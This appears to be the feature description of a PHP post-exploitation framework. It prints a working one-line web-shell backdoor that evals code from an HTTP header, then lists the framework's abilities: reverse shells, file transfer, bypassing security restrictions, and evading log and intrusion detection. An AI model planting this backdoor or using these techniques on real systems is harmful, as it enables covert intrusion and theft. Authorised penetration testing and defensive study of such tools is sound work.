The obfuscated communication is accomplished using HTTP headers under standard client requests and web server’s relative responses, tunneled through a tiny polymorphic backdoor:

<?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>

Features:

• Efficient: More than 20 plugins to automate post-exploitation tasks
  • Run commands and browse filesystem, bypassing PHP security restrictions
  • Upload/Download files between client and target
  • Edit remote files through local text editor
  • Run SQL console on target system
  • Spawn reverse TCP shells
• Stealth: The framework is made by paranoids, for paranoids
  • Nearly invisible by log analysis and NIDS signature detection
  • Safe-mode and common PHP security restrictions bypass
  • Communications are hidden in HTTP Headers
  • Loaded payloads are obfuscated to bypass NIDS
  • http/https/socks4/socks5 Proxy support
• Convenient: A robust interface with many crucial features
  • Detailed help for any command or option (type help)
  • Cross-platform on both the client and the server.
  • Powerful interface with completion and multi-command support
  • Session saving/loading feature & persistent history
  • Multi-request support for large payloads (such as uploads)
  • Provides a powerful, highly configurable settings engine
  • Each setting, such as user-agent has a polymorphic mode
  • Customisable environment variables for plugin interaction
  • Provides a complete plugin development API

Supported Platforms (as attacker):

• GNU/Linux
• Mac OS X